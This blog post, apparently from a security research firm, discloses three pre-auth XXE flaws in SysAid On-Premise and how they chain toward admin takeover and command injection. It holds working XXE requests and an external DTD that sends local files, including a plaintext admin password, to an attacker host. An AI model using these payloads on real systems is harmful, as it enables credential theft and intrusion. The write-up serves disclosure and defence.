SysOwned, Your Friendly Support Ticket - SysAid On-Premise Pre-Auth RCE Chain (CVE-2025-2775 And Friends)

It’s… another week, and another vendor who is apparently experienced with ransomware gangs but yet struggles with email.
In what we've seen others term "the watchTowr treatment", we are once again (surprise, surprise) disclosing vulnerability research that allowed us to gain pre-authenticated Remote Command Execution against yet another enterprise-targeting product - specifically, SysAid On-Premise (version 23.3.40
) here-on referred to as “SysAid”.

Clarifying SysAid’s Product Lineup
Although SysAid’s website often refers to “SysAid ITSM” and “SysAid HelpDesk” as if they were distinct offerings, these are simply different branding labels for the same core platform. In reality, SysAid provides just two separate products based on deployment model:
SysAid On-Prem: The classic, self-hosted version of the platform, installed and managed within your own data center or private cloud.
SysAid SaaS: The fully hosted, cloud-delivered version of the identical platform, maintained by SysAid and accessible via web browser.
A brief look at the news shows that SysAid is no stranger to vulnerabilities, and their “business-critical” solutions have previously received attention from ransomware gangs.
In recent blog posts, we’ve discussed “business-critical” appliances and identified endless vulnerabilities in your favourite backup and replication appliances. So we thought it was time to give another business-critical piece of tooling some love—IT Service Management (ITSM) solutions.
ITSM solutions truly earn their designation as business-critical infrastructure. They often serve as the primary interface for support tickets and are responsible for housing all the sensitive information you’d expect regarding internal tickets, incidents, knowledge base entries, and asset inventories.
It goes without saying - ITSMs are genuine, Internet-facing, treasure troves for your neighbourhood miscreants, red teams, and squirrels.
It should come as no surprise that due to precisely these factors, ITSM solutions remain an extremely attractive target to ransomware gangs who look for any opportunity to double-extort organizations, encrypt systems, and steal sensitive data.
Today, we’ll walk you through our discovery of the following vulnerabilities:
- CVE-2025-2775 - XML External Entity Injection
- CVE-2025-2776 - XML External Entity Injection
- CVE-2025-2777 - XML External Entity Injection
Small editors note: Enjoy the timeline.
Let’s dive in and walk through how we achieved complete pre-authenticated Remote Command Execution (RCE) as SYSTEM earlier this year.

One Small Shout Out..
Shout out to the SysAid product security team, who truly committed to only responding to emails asking for help reproducing complex XXE vulnerabilities while ignoring our other emails for almost three months. Thankfully, they eventually managed to deploy patches.
We remain big fans of our private and public community service initiatives.

A Little XXEplainer
As with much watchTowr research, this quest to pre-auth Remote Command Execution started with a feeling.
On a very regular basis, we hunt “interesting” enterprise appliances and software, looking for software that gives us… the feeling.
The feeling - often defined as vibes, intuition, and meme-ability - struck us, with SysAid On-Prem catching our eye for further investigation. Once the feeling has been achieved, we become a little more methodical in determining whether we should invest further time:
- Is it a business-critical appliance? Yes.
- Is it highly prevalent on the public internet? Tick.
- Does it contain sensitive information? Absolutely.
- Has it been historically targeted by threat actors? Check.
The Architecture
Think of the SysAid server as just another Windows box in your closet, except this one handles every IT ticket, asset record, and help-desk magic you throw at it.

In an on-premise deployment, SysAid runs as a Windows Server–based application within your organization’s infrastructure.

The SysAid Windows installer sets up a handful of background services, but at its core, it’s super exciting - it is a Java-powered web server that runs straight from bundled JAR files.
The main application logic resides in sysaid.jar
, which is of course your usual 18mb JAR file with hundreds of classes.

While SysAid delivers a rich and extensive feature set, each additional feature and extra capability broadens the overall attack surface we must assess.
As usual, our first goal is to understand better what we’re looking at, and to map out the system's functionality.
Taking a quick peek at its web.xml
reveals over 700 exposed Java servlets, a huge ecosystem where misconfiguration and overlooked edge-case bugs can lurk unnoticed. Naturally, this gives a fairly large opportunity for things to go horribly wrong.

The First Pre-Auth XXE
Our journey starts with identifying a pre-auth XXE within the /mdm/checkin
endpoint.
Due to the naming convention, we were immediately suspicious that mobile devices were likely using this method as part of the mobile device management flow, periodically pinging the SysAid instance to share their status.
When diving into the codebase, our eyes were therefore set on looking for all things MDM, and all things request parsing.
Very quickly (we mean, very very quickly), we identified a method that satisfied all of these requirements as part of the GetMdmMessage class:
com.ilient.mdm.GetMdmMessage#doPost
This method is responsible for wrangling incoming requests aimed towards /mdm/
prefixed paths. In particular, if the request URI is /mdm/checkin
, this method is responsible for calling the PropertyListParser.parse(byteArray)
function to process the user-supplied data contained within the HTTP POST request - naturally, without validation or sanitization.
Here is our code snippet of interest:
1: public void doPost(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) {
2: String requestURI = httpServletRequest.getRequestURI();
3: String stringBuffer = httpServletRequest.getRequestURL().toString();
4: if (IlientConf.getInstance().getConf().getLoadAccountsOnDemand()) {
5: stringBuffer = stringBuffer.replace("http:", "https:");
6: }
7: String accountIDFromURL = Helper.getAccountIDFromURL(stringBuffer, Services.getInstance(getServletContext()));
8: if (stringBuffer.lastIndexOf("/mdm/") > 0) {
9: this.f1371a = stringBuffer.substring(0, stringBuffer.lastIndexOf("/") + 1);
10: } else {
11: this.f1371a = stringBuffer.substring(0, stringBuffer.lastIndexOf("/mobile")) + "/mdm/";
12: }
13:
14: [..SNIP..]
15:
16: } else if (requestURI.endsWith("checkin")) {
17: IlientConf.logger.debug("GetMdmMessage 5: CHECK_IN");
18:
19: // XXE Vulnerability is triggered here
20: NSDictionary parse2 = PropertyListParser.parse(byteArray);
21:
22: String obj3 = parse2.objectForKey("MessageType").toString();
23: parse2.objectForKey("Topic");
24: String obj4 = parse2.objectForKey("UDID").toString();
25: if (obj3.equals("TokenUpdate")) {
26: String obj5 = parse2.objectForKey("PushMagic").toString();
Let's break down the following code line by line:
- Line [2]: The user‑provided URI is stored in the
requestURI
variable. - Line [3]: The request URL is stored in the
stringBuffer
variable. - Line [8]: The code checks whether
stringBuffer
contains the/mdm/
path. - Line [16]: If the
/mdm/
check passed, the code then verifies whetherrequestURI
ends with"checkin"
. - Line [20]: If the above checks pass, our user-supplied data is parsed, triggering the XXE.
Following this logic, the first XXE can be triggered by sending the following request:
POST /mdm/checkin HTTP/1.1
Host: target
Content-Type: application/xml
Content-Length: 129
<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ENTITY % foo SYSTEM "http://poc-server/watchTowr.dtd">
%foo;
]>
We’re swiftly returned a HTTP 200 with a blank response, and an immediate attempt to fetch /watchTowr.dtd
from our attacker-controlled server:

This request contains one of our favorite indicators of successful XXE, a tell-tale Java User-Agent, proving that we're successfully triggering the vulnerability:

Bam! Textbook XXE.
Unsatisfied that this was really the vulnerability research we’d set out to perform, we carried on looking for more…
The First Second Pre-Auth XXE, But Different
The second Pre-Auth XXE vulnerability occurs in the same method but on a different line
com.ilient.mdm.GetMdmMessage#doPost
At Line [21]
, user-provided data within the POST request is once again parsed by PropertyListParser.parse
with no sanitization, leading to another XXE:
1: public void doPost(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) {
2: String requestURI = httpServletRequest.getRequestURI();
3: String stringBuffer = httpServletRequest.getRequestURL().toString();
4: if (IlientConf.getInstance().getConf().getLoadAccountsOnDemand()) {
5: stringBuffer = stringBuffer.replace("http:", "https:");
6: }
7: String accountIDFromURL = Helper.getAccountIDFromURL(stringBuffer, Services.getInstance(getServletContext()));
8: if (stringBuffer.lastIndexOf("/mdm/") > 0) {
9: this.f1371a = stringBuffer.substring(0, stringBuffer.lastIndexOf("/") + 1);
10: } else {
11: this.f1371a = stringBuffer.substring(0, stringBuffer.lastIndexOf("/mobile")) + "/mdm/";
12: }
13: [..SNIP..]
14:
15:
16: } else if (requestURI.endsWith("serverurl")) {
17: new String(byteArray);
18: IlientConf.logger.debug("GetMdmMessage 8: SERVER_URL");
19: // XXE vulnerability here
20:
21: NSDictionary parse3 = PropertyListParser.parse(byteArray);
If we break down the following code line-by-line:
- Line [2]: The user‑provided URI is stored in the
requestURI
variable. - Line [3]: The request URL is stored in the
stringBuffer
variable. - Line [8]: The code checks whether
stringBuffer
contains the/mdm/
path. - Line [16]: If the
/mdm/
check passed, the code then verifies whetherrequestURI
ends with"serverurl"
. - Line [21]: If the above checks pass, our user-supplied data is parsed, triggering the XXE.
The following request triggers the vulnerability
POST /mdm/serverurl HTTP/1.1
Host: target
Content-Type: application/xml
Content-Length: 129
<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ENTITY % foo SYSTEM "http://poc-server/watchTowr.dtd">
%foo;
]>
Once again, we’re returned a HTTP 200 with a blank response, and an immediate attempt to fetch /watchTowr.dtd
from our attacker-controlled server, indicating success:


The Third Pre-Auth XXE
The third XXE triggers when sending a request to the /lshw
endpoint, causing the following method to get executed:
com.ilient.agentApi.LshwAgent#doPost
This method doesn’t do much, to be very honest. Primarily, it’s a wrapper to check for the existence of various HTTP parameters.
Once we get past that mess of excitement, another method is called to handle the main logic, achieved by executing the following statement new b().a()
:
public class LshwAgent extends HttpServlet {
public void doPost(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) {
try {
if (new b().a(new CharArrayReader(MiscUtils.ReaderToChars(httpServletRequest.getReader())), Helper.convertParameter(httpServletRequest, ContentPackSchedulerConstants.ACCOUNT_ID), Helper.convertParameter(httpServletRequest, "serial"), Helper.convertParameter(httpServletRequest, "osName"), Helper.convertParameter(httpServletRequest, "osVer"), Helper.convertParameter(httpServletRequest, "osCode"), Helper.convertParameter(httpServletRequest, "osKernel"), Helper.convertParameter(httpServletRequest, "agentVersion"), httpServletRequest, getServletContext())) {
httpServletResponse.getWriter().println("OK");
} else {
httpServletResponse.sendError(500, "Error while processing request.");
}
} catch (Exception e) {
IlientConf.logger.error("Exception in LshwAgent", e);
httpServletResponse.sendError(500, "Error while processing request.");
}
}
}
Speed running reading of this code, eventually, the following method is called:
com.ilient.agentApi.b#a
This XXE vulnerability is just as trivial to exploit.
The user-provided HTTP POST request is directly processed by this method, performing multiple operations before eventually reaching our code snippet of interest:
1: public final boolean a(Reader reader, String str, String str2, String str3, String str4, String str5, String str6, String str7, HttpServletRequest httpServletRequest, ServletContext servletContext) {
2: MessageDocument newInstance;
3: MessageType addNewMessage;
4: SoftwareType addNewSoftware;
5: InventoryType inventory;
6: MachineType addNewMachine;
7: boolean z;
8: BufferedReader bufferedReader;
9: String str8;
10: StringBuffer stringBuffer;
11: int indexOf;
12: try {
13: newInstance = MessageDocument.Factory.newInstance();
14: addNewMessage = newInstance.addNewMessage();
15: addNewSoftware = addNewMessage.addNewBody().addNewInventory().addNewSoftware();
16: this.z = addNewMessage.getBody().getInventory().addNewStorageDevices();
17: inventory = addNewMessage.getBody().getInventory();
18: addNewMachine = inventory.addNewMachine();
19: this.y = addNewMachine.addNewMachineSMBIOS();
20: this.D = inventory.addNewDisplay();
21: z = false;
22:
23: [..SNIP..]
24: }
25: } else if (z) {
26: if (readLine.startsWith("**********software-end**********")) {
27: z = false;
28: } else {
29: String[] split = readLine.split("\\\\|\\\\|\\\\|");
30: if (split != null && split.length >= 5) {
31: addNewSoftware.addSoftwareProduct(split[0] + " - " + split[2] + SysaidConstants.DEFAULT_DOMAIN + split[1]);
32: }
33: }
34: } else if (z) {
35: if (readLine.startsWith("**********partitions-end**********")) {
36: z = false;
37: } else {
38: String[] split2 = readLine.split("[ \\\\t]+");
39: int i = split2[0].length() > 0 ? 0 : 1;
40: if (split2 != null && split2.length >= 4 && !split2[i + 0].equalsIgnoreCase("major")) {
41: String str9 = split2[i + 3];
42: if (str8 == null || !str9.startsWith(str8)) {
43: str8 = str9;
44: String str10 = "/dev/" + str9;
45: StorageDeviceType addNewStorageDevice = this.z.addNewStorageDevice();
46: addNewStorageDevice.setStorageLogicalName(str10);
47: addNewStorageDevice.setStorageCapacity(a(split2[i + 2]) << 10);
48: }
49: }
50: }
51: }
52: } else if (readLine.startsWith("**********lshw-begin**********")) {
53: z = true;
54: } else if (readLine.startsWith("**********meminfo-begin**********")) {
55: z = true;
56: } else if (readLine.startsWith("**********cpuinfo-begin**********")) {
57: z = true;
58: } else if (readLine.startsWith("**********software-begin**********")) {
59: z = true;
60: } else if (readLine.startsWith("**********partitions-begin**********")) {
61: z = true;
62: } else {
63: stringBuffer.append(readLine);
64: stringBuffer.append('\\n');
65: }
66: IlientConf.logger.error("Error while parsing request", e);
67: return false;
68: }
69: InputSource inputSource = new InputSource(new StringReader(stringBuffer.toString()));
70: SAXParser sAXParser = new SAXParser();
71: sAXParser.setContentHandler(this);
72: try {
73: // XXE triggered here
74: sAXParser.parse(inputSource);
75: } catch (Exception e3) {
76: IlientConf.logger.error("Error in SAXParser ", e3);
77: }
Breaking this code down into the operations we’re interested in:
- Line [69]: Wrap the received data in an
InputSource
using - Line [70]: Create and configure a new
SAXParser
instance. - Line [71]: Set the current class as the parser’s
ContentHandler
. - Line [74]: Parse our user-supplied data, triggering the XXE.
The exploitation of this XXE vulnerability is just as simple, needing to pass a few parameters such as
osVer
osCode
osKernel
- and others..
These parameters are necessary to satisfy the exciting usage of if()
conditions, which once again check for the existence of said parameters.
For our third complex XXE (complex complex complex), the following HTTP request allows us to trigger the vulnerability:
POST /lshw?osVer=a&osCode=b&osKernel=c&agentVersion=e&serial=f HTTP/1.1
Host: target
Content-Type: application/xml
Content-Length: 129
<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ENTITY % foo SYSTEM "http://poc-server/watchTowr.dtd">
%foo;
]>
We’re greeted with a HTTP 200 and “OK” response, alongside an immediate request to our attacker-controlled server, indicating success:


Performative XXEs
Performative vulnerabilities, like the XXEs above, feel like the type of currently-lacking-in-impact vulnerabilities you might rely on a consultancy for - said consultancy must however be wrapped in as many rebrands as you feel is achievable across a short space of time.
Anyway, we digress…
Freshly armed with three XXE’s - as eluded to above, we’re still missing something essential… impact.
We’ve satisfied the PoC || GTFO requirement, but what can we do with them?!

In typical XXE fashion, we have a few options for exploitation:
- Retrieve local files containing sensitive information
- Poke other systems on an internal network
- Interact with a localhost-bound network service
- Denial-of-Service (boring!)
We decided to lead an easy life and go straight to an attempt to leak file content, in this case aimed at the win.ini
file.
To set things up, we hosted an exfil.dtd
containing the following content:
<!ENTITY % d SYSTEM "file:///C:\\windows\\win.ini">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'http://192.168.8.107/?e=%d;'>">
Then, using the complexity of 1000 geniuses, we constructed the following complex HTTP request to trigger the XXE with our external DTD:
POST /mdm/serverurl HTTP/1.1
Host: 192.168.8.162:8080
Content-Length: 119
<?xml version="1.0"?>
<!DOCTYPE cdl [<!ENTITY % asd SYSTEM "http://192.168.8.107/exfil.dtd">%asd;%c;]>
<cdl>&rrr;</cdl>
As expected, we immediately get a callback requesting our exfil.dtd
file, but don’t see any indications of the second stage executing and calling back to us with the contents of win.ini
… weird.

Undeterred, and assuming that we’re just not very good with computers, we decided to try and determine what limitation might exist by manually creating a file named secret.txt
with the following content:

Updating our external DTD to point at this new file, we then attempted to exfiltrate this file using the same payload as before:

It works! We immediately get a request for our exfil.dtd
, and a secondary request containing the content of our file!
We had an immediate hunch and decided to add a few additional lines to our file and try again:


Okay, so we’re onto something—if a file has more than one line of content, we cannot exfiltrate it with our fresh shiny XXEs. This is slightly frustrating, but ultimately, it reduces the opportunities to escalate any of these XXE vulnerabilities into something more serious.
Note: In recent Java releases, this mitigation was added specifically to block the full disclosure of file contents during XXE attacks. One workaround is to (ab)use error-based XXE, but in this instance, the XXE was entirely blind.
Looking back at SysAid's architecture and our hackers' handbook of things to try, maybe there are internal services we can hit.
Nope.

Escalating XXE to Admin Account Takeover
Undeterred, we kept thinking.
We asked ourselves—is it possible that in this shiny enterprise-grade and polished solution, there is a file that contains no special characters and the first line contains something of material use to us?
What if there were a text-based file, with sensitive information in plaintext?
“Impossible, it’s 2025 and everything important is just stored in a database!”, we thought, to our naive and unenlightened selves.
SysAid, who was many steps ahead of us, thought differently and kindly had left us an option just sitting there on the filesystem:
C:\\Program Files\\SysAidServer\\logs\\InitAccount.cmd
This file is created during installation by SysAid and contains the clear-text password of the main administrator in its first line.
"C:\\Program Files\\SysAidServer\\jre\\bin\\java" -cp "C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\sysaid.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\activation-1.1.1.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\activityLogEntry.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\agentSettings.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\agentSettingsv2.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\amazon-kinesis-client-2.2.11.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\amazon-sqs-java-extended-client-lib-2.0.2.jar; C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\stax-utils-0.0.1-s.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\streambuffer-0.4.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\sts-2.16.73.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\sysaid-common.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\sysaid.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\sysAidAgentFolder.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\test-utils-2.16.73.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\tika-core-2.9.1.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\usageStatisticsData.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\usageStatisticsQueries.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\utils-2.16.73.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\validation-api-1.1.0.Final.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\velocity-1.7.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\vpro-0.0.1-s.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\wmiInventory.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\wmiInventoryResp.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\wmiQuickScanResp.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\wmiScan.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\wmiScanResp.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\ws-commons-util-1.0.2.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\wsdl4j-1.6.2.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\wstx-asl-3.2.1.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\xalan-2.7.1.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\xercesImpl-2.9.0.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\xml-apis-0.0.1-s.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\xml-apis-xerces-0.0.1-s.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\xml-resolver-1.1.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\xmlbeans-2.3.0.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\xmlParserAPIs-0.0.1-s.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\xmlrpc-client-3.1.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\xmlrpc-common-3.1.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\XmlSchema-0.0.1-s.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\xpp3-1.1.4c.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\zip4j-2.9.1.jar;" com.ilient.server.InitAccount "C:\\Program Files\\SysAidServer\\root" "sysaid_instance" "sysaid_instance" **"admin" "P@ssW0rd"** "2"
Take a look above at our example InitAccount.cmd
- do you see it?
Right at the very end, you can see both a username and clear-text password. As you can see in the above output, the administrator username is admin
and the password is P@ssw0rd
(as an example).
This is important because, and hopefully satisfies our need for a single-line file, with sensitive data that we can use.
The best part about this file? It remains on the system post-installation, even after it has been used to create the initial accounts!
Now you, an astute human with reasoning skills, might wonder why the file even exists? Well, the following occurs:
- When you execute the installer for SysAid On-Perm, the user is asked to enter a password for their shiny new admin account.
- This is the password that is then beautifully taken, transported carefully, and then dumped in plaintext into
InitAccount.cmd
. - Subsequently, the solution installer copies all solution files to the system and asks for your license.
- If a valid license is provided, the now-installed solution is initialised, and as part of that initialisation,
InitAccount.cmd
is executed. - This creates the default administrator account with the specified password.
- You revel in the wonder of why we ever had databases for anything.
Many of you will now see where this is heading.
Using our XXE vulnerability, we should be able to extract this file and retrieve the specified plaintext password, giving us full administrative access to SysAid as an administrator-privileged user.
Let’s try it.
Again, being repetitive robots and not agentic, we host the following DTD on our attacker-controlled host:
<!ENTITY % d SYSTEM "file:///C:\\Program Files\\SysAidServer\\logs\\InitAccount.cmd">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'http://192.168.8.107/?e=%d;'>">
Secondly, we send yet another HTTP request to trigger the XXE, specifying our remotely hosted DTD:
POST /mdm/serverurl HTTP/1.1
Host: target
Content-Type: application/xml
Content-Length: 121
<?xml version="1.0"?>
<!DOCTYPE cdl [<!ENTITY % asd SYSTEM "http://192.168.8.107/exfil.dtd">%asd;%c;]>
<cdl>&rrr;</cdl>

As expected - we receive the full contents of the file we need, containing our new-favourite plaintext password.
But is this pre-authenticated Remote Command Execution?
It is not, so we march on.
From Admin to Pwned: The SysAid RCE Speedrun
In January 2025, we disclosed the vulnerabilities mentioned above to SysAid and spent two months truly enjoying the fluent, transparent, and generally pleasurable communication with SysAid.
Once we woke up from that delusional dream and were curious whether these vulnerabilities could be escalated further, we looked at historical vulnerability disclosures for inspiration.
Fairly quickly, we spotted several previously disclosed and patched vulnerabilities, mostly path traversals used to gain some form of RCE, but all were post-authentication.
Using this new knowledge to give us confidence that there might be more, we started hunting for the final piece of the puzzle—translating our pre-auth XXE → password disclosure into full-blown Remote Command Execution.
At this point, in March 2025, we were rudely awakened from our blissful and ignorant existence when we spotted lines in SysAid’s changelog describing patches for items that sounded suspiciously like the XXE vulnerabilities we’d disclosed, resolved in version 24.4.60
.
“Surely not?” we thought, out of surprise that SysAid had managed to communicate with others despite their challenges communicating with us.
Slightly heartbroken, we continued reading the changelog, noticing something extra—the patch notes mentioned an “OS Command Injection Vulnerability Fix.”
Could this be it? Could this be precisely what we are looking for to complete our chain?!
Editors note: To be extremely clear, before we get passive aggressive tweets from people who clearly have nothing better to do in their lives, we did not discover/report the OS Command Injection that we will detail now. Whoever originally discovered this - we hope we do this some justice.

We started patch diffing and were immediately greeted with a significant number (100+ changes), not all of which were security-related.
Interestingly, the change of interest didn’t immediately jump out to us (which is surprisingly given OS command injection vulnerabilities are usually a little easier to spot in changes).
The following compiled JSP page appeared to be where our attention needed to be focused:
com.ilient.jsp.API_jsp
Here is the diff, do you see the vulnerability?

Let's isolate the vulnerable code, stare at the following code, and read through the following breakdown:
- Line [45]: Check for the presence of the
updateApiSettings
request parameter to determine if the user intends to update API settings. - Line [46]: If present, pull the
javaLocation
value directly from the HTTP request. - Line [47]: Retrieve the current user’s account ID from
loginInformationBean
. - Line [48]: Persist the new
javaLocation
into the account’s settings viaAccountPropertiesManager
.
At this stage, there’s no direct command injection; the user input is simply read and stored. However, because JavaLocation
later gets placed into a shell script (as we saw around lines 40–49), this becomes a second‑order command‑injection risk.
Exciting - quickly realising that we needed to trace exactly how and where AccountPropertiesConstants.SYSAID_API_SETTINGS_JAVA_LOCATION
is used when building and executing those scripts to confirm it’s appropriately sanitized:
1: public final void _jspService(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) {
2: LoginInformationBean loginInformationBean;
3: if (!DispatcherType.ERROR.equals(httpServletRequest.getDispatcherType())) {
4: String method = httpServletRequest.getMethod();
5: if ("OPTIONS".equals(method)) {
6: httpServletResponse.setHeader("Allow", "GET, HEAD, POST, OPTIONS");
7: return;
8: } else if (!OAuthMessage.GET.equals(method) && !OAuthMessage.POST.equals(method) && !"HEAD".equals(method)) {
9: httpServletResponse.setHeader("Allow", "GET, HEAD, POST, OPTIONS");
10: httpServletResponse.sendError(405, "JSPs only permit GET, POST or HEAD. Jasper also permits OPTIONS");
11: return;
12: }
13: }
14: JspWriter jspWriter = null;
15: ?? r0 = 0;
16: PageContext pageContext = null;
17: try {
18: httpServletResponse.setContentType("text/html");
19: PageContext pageContext2 = f171a.getPageContext(this, httpServletRequest, httpServletResponse, (String) null, true, (int) Helper.USER_SELF_SERVICE, true);
20: pageContext = pageContext2;
21: pageContext2.getServletContext();
22: pageContext2.getServletConfig();
23: HttpSession session = pageContext2.getSession();
24: JspWriter out = pageContext2.getOut();
25:
26: [..SNIP..]
27:
28: new VelocityContext();
29: String str = null;
30: r0 = PermissionsParams.SWITCH_TO_GROUP_SETTINGS.equals(httpServletRequest.getParameter("updateApi"));
31: if (r0 != 0) {
32: try {
33: String str2 = GlobalPaths.getPath(loginInformationBean.getAccountID(), GlobalPathsKeys.API_DIR, true, false) + "/";
34: IlientConf.logger.debug("Home dir " + IlientConf.HOME_DIR);
35: IlientConf.logger.debug("apiLocation: " + str2);
36: r0 = com.ilient.api.a.a.a(loginInformationBean, str2);
37: str = r0;
38: if (r0 == 0) {
39: str = "Updating API successfully. Please restart your SysAid Serivce";
40: }
41: } catch (Exception e) {
42: IlientConf.logger.error("Exception in updating API: ", e);
43: }
44: }
45: if (PermissionsParams.SWITCH_TO_GROUP_SETTINGS.equals(httpServletRequest.getParameter("updateApiSettings"))) {
46: String parameter = httpServletRequest.getParameter("javaLocation");
47: r0 = loginInformationBean.getAccountID();
48: AccountPropertiesManager.addAccountStringProperty(r0, AccountPropertiesConstants.SYSAID_API_SETTINGS_JAVA_LOCATION, parameter);
49: try {
50: loginInformationBean.getAccount();
51: r0 = loginInformationBean;
52: Account.auditAccountSave((LoginInformationBean) r0, r0.getAccountID(), resourceBundle.getString("accountSaveMsg.apiSettings"));
53: } catch (Exception e2) {
54: IlientConf.logger.error("Failed to save API: ", e2);
55: out.write("\\n <script>\\n alert(\\"");
56: out.print(Helper.escapeToJS(resourceBundle.getString("save.fail.concurrent.modification"), loginInformationBean.getCharset()));
57: out.write("\\");\\n location.href=\\"API.jsp\\";\\n </script>\\n ");
58: }
59: }
60: String accountStringProperty = AccountPropertiesManager.getAccountStringProperty(loginInformationBean.getAccountID(), AccountPropertiesConstants.SYSAID_API_SETTINGS_JAVA_LOCATION);
61: out.write("\\n<!DOCTYPE html>\\n<html style=\\"overflow: hidden; width: 100%;\\">\\n\\n<head>\\n <META http-equiv=\\"Content-Type\\" content=\\"text/html; charset=");
62: out.print(loginInformationBean.getCharset());
63: out.write("\\"/>\\n <title>");
64: out.print(resourceBundle.getString("page.title"));
65:
66: [..SNIP..]
AccountPropertiesConstants.*SYSAID_API_SETTINGS_JAVA_LOCATION
is utilized in the following method:
com.ilient.api.a.a#a
The relevant code from this method is below:
1: public static String a(LoginInformationBean loginInformationBean, String str) {
2: String[] list;
3: if (loginInformationBean == null) {
4: throw new Exception("Login Bean is null.");
5: }
6: ResourceBundle resourceBundle = loginInformationBean.getResourceBundle();
7: String str2 = null;
8: String accountStringProperty = AccountPropertiesManager.getAccountStringProperty(loginInformationBean.getAccountID(), AccountPropertiesConstants.SYSAID_API_SETTINGS_JAVA_LOCATION);
9: if (accountStringProperty == null || accountStringProperty.trim().length() == 0) {
10: return resourceBundle.getString("api.empty.path");
11: }
12: boolean isWindows = Helper.isWindows();
13: try {
14: String str3 = str + "src/com/ilient/api/";
15: String str4 = str3 + "sysaidObjects/";
16: new File(str4).mkdirs();
17:
18:
19: [..SNIP..]
20:
21: printWriter2.flush();
22: printWriter2.close();
23: new File(str + "/classes").mkdirs();
24: list = new File(str + "../lib/").list();
25: } catch (Exception e) {
26: IlientConf.logger.error("Error in updating SysAid API jar file", e);
27: e.printStackTrace();
28: str2 = resourceBundle.getString("api.update.fail.sysaid.logs");
29: }
30: if (list == null || list.length == 0) {
31: return resourceBundle.getString("api.webinf.lib.files.missing");
32: }
33: String str5 = isWindows ? ";" : ":";
34: StringBuffer stringBuffer = new StringBuffer();
35: for (int i = 0; i < list.length; i++) {
36: if (list[i].endsWith(".jar")) {
37: stringBuffer.append(str5).append("../../lib/").append(list[i]);
38: }
39: }
40: String str6 = isWindows ? "src/updateApi.bat" : "src/updateApi.sh";
41: PrintWriter printWriter5 = new PrintWriter(new FileOutputStream(str + str6));
42: if (!isWindows) {
43: printWriter5.write("#!/bin/sh\\n");
44: }
45: printWriter5.write("cd \\"" + str + "src\\"\\n");
46: printWriter5.write("\\"" + accountStringProperty + "javac\\" -d ../classes -cp .;../../classes" + stringBuffer.toString() + " com/ilient/api/*.java com/ilient/api/sysaidObjects/*.java\\n");
47: printWriter5.write("\\"" + accountStringProperty + "wsgen\\" -d ../classes -cp .;../../classes" + str5 + "../../lib/api4sysaid.jar" + str5 + "../../lib/sysaid.jar com.ilient.api.SysaidApiService\\n");
48: printWriter5.write("cd ../../lib\\n");
49: printWriter5.write("\\"" + accountStringProperty + "jar\\" -cvf aapi4sysaid.jar -C ../api/classes com\\n");
50: printWriter5.flush();
51: printWriter5.close();
52: if (!isWindows && a("chmod a+x " + str + str6) != 0) {
53: str2 = resourceBundle.getString("api.grant.permissions") + str + str6;
54: }
55: if (a(str + str6) != 0) {
56: str2 = resourceBundle.getString("api.update.fail.tomcat.logs");
57: }
58: return str2;
59: }
60:
- Line [8]: Retrieve the Java installation path by accessing the following property
AccountPropertiesConstants.SYSAID_API_SETTINGS_JAVA_LOCATION
- Line [9]: Verify that
accountStringProperty
is notnull
before proceeding. - Line [40]: Choose the script filename based on the OS
isWindows ? "updateApi.bat" : "updateApi.sh";
- Line [41]: Open a
FileOutputStream
usingstr6
as the target script name. - Lines [46, 47, 49]: Insert the previously obtained Java path (
accountStringProperty
) into the script content to automate its execution.
Now, let's test this method and its behaviour in action.
